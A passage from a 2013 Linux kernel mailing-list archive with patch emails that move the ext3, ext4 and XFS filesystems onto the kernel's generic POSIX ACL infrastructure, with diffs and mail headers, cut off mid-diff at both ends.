EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext3_std_error(inode->i_sb, error); - goto out; - } - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + error = __ext3_set_acl(handle, inode, type, acl); ext3_journal_stop(handle); - if (error == -ENOSPC && - ext3_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext3_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext3_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - -retry: - handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) - return PTR_ERR(handle); - error = ext3_set_acl(handle, inode, type, acl); - ext3_journal_stop(handle); - if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) - goto retry; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = __ext3_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext3_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext3_xattr_list_acl_access, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; - -const struct xattr_handler ext3_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext3_xattr_list_acl_default, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h index dbc921e..ea1c69e 100644 --- a/fs/ext3/acl.h +++ b/fs/ext3/acl.h @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext3_get_acl(struct inode *inode, int type); -extern int ext3_acl_chmod (struct inode *); +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext3_init_acl (handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT3_FS_POSIX_ACL */ #include #define ext3_get_acl NULL - -static inline int -ext3_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext3_set_acl NULL static inline int ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext3/file.c b/fs/ext3/file.c index 25cb413..aad0531 100644 --- a/fs/ext3/file.c +++ b/fs/ext3/file.c @@ -75,6 +75,7 @@ const struct inode_operations ext3_file_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, .fiemap = ext3_fiemap, }; diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c index 2bd8548..384b6eb 100644 --- a/fs/ext3/inode.c +++ b/fs/ext3/inode.c @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (ia_valid & ATTR_MODE) - rc = ext3_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); err_out: ext3_std_error(inode->i_sb, error); diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c index f8cde46..f197736 100644 --- a/fs/ext3/namei.c +++ b/fs/ext3/namei.c @@ -2569,6 +2569,7 @@ const struct inode_operations ext3_dir_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; const struct inode_operations ext3_special_inode_operations = { @@ -2580,4 +2581,5 @@ const struct inode_operations ext3_special_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c index b1fc963..c6874be 100644 --- a/fs/ext3/xattr.c +++ b/fs/ext3/xattr.c @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache; static const struct xattr_handler *ext3_xattr_handler_map[] = { [EXT3_XATTR_INDEX_USER] = &ext3_xattr_user_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext3_xattr_acl_access_handler, - [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext3_xattr_acl_default_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT3_XATTR_INDEX_TRUSTED] = &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_SECURITY @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = { &ext3_xattr_user_handler, &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - &ext3_xattr_acl_access_handler, - &ext3_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT3_FS_SECURITY &ext3_xattr_security_handler, diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h index 2be4f69..32e93eb 100644 --- a/fs/ext3/xattr.h +++ b/fs/ext3/xattr.h @@ -60,8 +60,6 @@ struct ext3_xattr_entry { extern const struct xattr_handler ext3_xattr_user_handler; extern const struct xattr_handler ext3_xattr_trusted_handler; -extern const struct xattr_handler ext3_xattr_acl_access_handler; -extern const struct xattr_handler ext3_xattr_acl_default_handler; extern const struct xattr_handler ext3_xattr_security_handler; extern ssize_t ext3_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index f827f3b..d40c8db 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -152,13 +152,6 @@ ext4_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -196,7 +189,7 @@ ext4_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext4_new_inode */ static int -ext4_set_acl(handle_t *handle, struct inode *inode, int type, +__ext4_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -204,9 +197,6 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -248,208 +238,51 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext4_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ int -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext4_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext4_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext4_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; - + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: handle = ext4_journal_start(inode, EXT4_HT_XATTR, ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext4_std_error(inode->i_sb, error); - goto out; - } - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + error = __ext4_set_acl(handle, inode, type, acl); ext4_journal_stop(handle); - if (error == -ENOSPC && - ext4_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext4_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext4_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -retry: - handle = ext4_journal_start(inode, EXT4_HT_XATTR, - ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - goto release_and_out; + if (default_acl) { + error = __ext4_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); } - error = ext4_set_acl(handle, inode, type, acl); - ext4_journal_stop(handle); - if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) - goto retry; - -release_and_out: - posix_acl_release(acl); return error; } - -const struct xattr_handler ext4_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext4_xattr_list_acl_access, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; - -const struct xattr_handler ext4_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext4_xattr_list_acl_default, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h index 18cb39e..da2c795 100644 --- a/fs/ext4/acl.h +++ b/fs/ext4/acl.h @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size) /* acl.c */ struct posix_acl *ext4_get_acl(struct inode *inode, int type); -extern int ext4_acl_chmod(struct inode *); +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext4_init_acl(handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT4_FS_POSIX_ACL */ #include #define ext4_get_acl NULL - -static inline int -ext4_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext4_set_acl NULL static inline int ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 3da2194..43e64f6 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -617,6 +617,7 @@ const struct inode_operations ext4_file_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 0757634..8277556 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) ext4_orphan_del(NULL, inode); if (!rc && (ia_valid & ATTR_MODE)) - rc = ext4_acl_chmod(inode); + rc = posix_acl_chmod(inode, inode->i_mode); err_out: ext4_std_error(inode->i_sb, error); diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 5a0408d..e77c1ba 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -3225,6 +3225,7 @@ const struct inode_operations ext4_dir_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; @@ -3235,4 +3236,5 @@ const struct inode_operations ext4_special_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, }; diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 1423c48..e175e94 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache; static const struct xattr_handler *ext4_xattr_handler_map[] = { [EXT4_XATTR_INDEX_USER] = &ext4_xattr_user_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext4_xattr_acl_access_handler, - [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext4_xattr_acl_default_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT4_XATTR_INDEX_TRUSTED] = &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_SECURITY @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = { &ext4_xattr_user_handler, &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - &ext4_xattr_acl_access_handler, - &ext4_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h index c767dbd..819d639 100644 --- a/fs/ext4/xattr.h +++ b/fs/ext4/xattr.h @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find { extern const struct xattr_handler ext4_xattr_user_handler; extern const struct xattr_handler ext4_xattr_trusted_handler; -extern const struct xattr_handler ext4_xattr_acl_access_handler; -extern const struct xattr_handler ext4_xattr_acl_default_handler; extern const struct xattr_handler ext4_xattr_security_handler; extern ssize_t ext4_listxattr(struct dentry *, char *, size_t); -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8447D29E0F for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 66D1E30407B for ; Fri, 20 Dec 2013 05:25:35 -0800 (PST) X-ASG-Debug-ID: 1387545934-04cbb04167864440001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id X1sH33v8S0CfjdQv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04x-0003KV-Tf; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132523.791656625@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:50 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Dave Chinner Subject: [PATCH 15/21] xfs: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 15/21] xfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0015-xfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545934 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux, and create inodes with the proper mode instead of fixing it up later. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner --- fs/xfs/xfs_acl.c | 151 +++------------------------------------------------- fs/xfs/xfs_acl.h | 9 +--- fs/xfs/xfs_iops.c | 39 +++++++------- fs/xfs/xfs_iops.h | 2 +- fs/xfs/xfs_xattr.c | 4 +- 5 files changed, 34 insertions(+), 171 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 057ae2d..0ecec18 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -124,16 +124,12 @@ struct posix_acl * xfs_get_acl(struct inode *inode, int type) { struct xfs_inode *ip = XFS_I(inode); - struct posix_acl *acl; + struct posix_acl *acl = NULL; struct xfs_acl *xfs_acl; unsigned char *ea_name; int error; int len; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - trace_xfs_get_acl(ip); switch (type) { @@ -164,10 +160,8 @@ xfs_get_acl(struct inode *inode, int type) * cache entry, for any other error assume it is transient and * leave the cache entry as ACL_NOT_CACHED. */ - if (error == -ENOATTR) { - acl = NULL; + if (error == -ENOATTR) goto out_update_cache; - } goto out; } @@ -183,15 +177,12 @@ out: } STATIC int -xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) +__xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) { struct xfs_inode *ip = XFS_I(inode); unsigned char *ea_name; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: ea_name = SGI_ACL_FILE; @@ -282,131 +273,23 @@ posix_acl_default_exists(struct inode *inode) return xfs_acl_exists(inode, SGI_ACL_DEFAULT); } -/* - * No need for i_mutex because the inode is not yet exposed to the VFS. - */ int -xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) +xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - umode_t mode = inode->i_mode; - int error = 0, inherit = 0; - - if (S_ISDIR(inode->i_mode)) { - error = xfs_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - return error; - - /* - * If __posix_acl_create returns a positive value we need to - * inherit a permission that can't be represented using the Unix - * mode bits and we actually need to set an ACL. - */ - if (error > 0) - inherit = 1; - - error = xfs_set_mode(inode, mode); - if (error) - goto out; - - if (inherit) - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - -int -xfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = xfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} - -static int -xfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int error; - - acl = xfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return error; -} - -static int -xfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; int error = 0; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (!value) + if (!acl) goto set_acl; - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - error = -EINVAL; if (acl->a_count > XFS_ACL_MAX_ENTRIES(XFS_M(inode->i_sb))) - goto out_release; + return error; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; error = posix_acl_equiv_mode(acl, &mode); if (error <= 0) { - posix_acl_release(acl); acl = NULL; if (error < 0) @@ -415,27 +298,9 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, error = xfs_set_mode(inode, mode); if (error) - goto out_release; + return error; } set_acl: - error = xfs_set_acl(inode, type, acl); - out_release: - posix_acl_release(acl); - out: - return error; + return __xfs_set_acl(inode, type, acl); } - -const struct xattr_handler xfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; - -const struct xattr_handler xfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 4016a56..5dc1637 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -60,20 +60,15 @@ struct xfs_acl { #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -extern int xfs_inherit_acl(struct inode *inode, struct posix_acl *default_acl); -extern int xfs_acl_chmod(struct inode *inode); +extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int posix_acl_access_exists(struct inode *inode); extern int posix_acl_default_exists(struct inode *inode); - -extern const struct xattr_handler xfs_xattr_acl_access_handler; -extern const struct xattr_handler xfs_xattr_acl_default_handler; #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { return NULL; } -# define xfs_inherit_acl(inode, default_acl) 0 -# define xfs_acl_chmod(inode) 0 +# define xfs_set_acl NULL # define posix_acl_access_exists(inode) 0 # define posix_acl_default_exists(inode) 0 #endif /* CONFIG_XFS_POSIX_ACL */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..f1f0d46 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -123,7 +123,7 @@ xfs_vn_mknod( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl = NULL; + struct posix_acl *default_acl, *acl; struct xfs_name name; int error; @@ -139,14 +139,9 @@ xfs_vn_mknod( rdev = 0; } - if (IS_POSIXACL(dir)) { - default_acl = xfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(default_acl)) - return PTR_ERR(default_acl); - - if (!default_acl) - mode &= ~current_umask(); - } + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; xfs_dentry_to_name(&name, dentry, mode); error = xfs_create(XFS_I(dir), &name, mode, rdev, &ip); @@ -160,21 +155,27 @@ xfs_vn_mknod( goto out_cleanup_inode; if (default_acl) { - error = -xfs_inherit_acl(inode, default_acl); - default_acl = NULL; - if 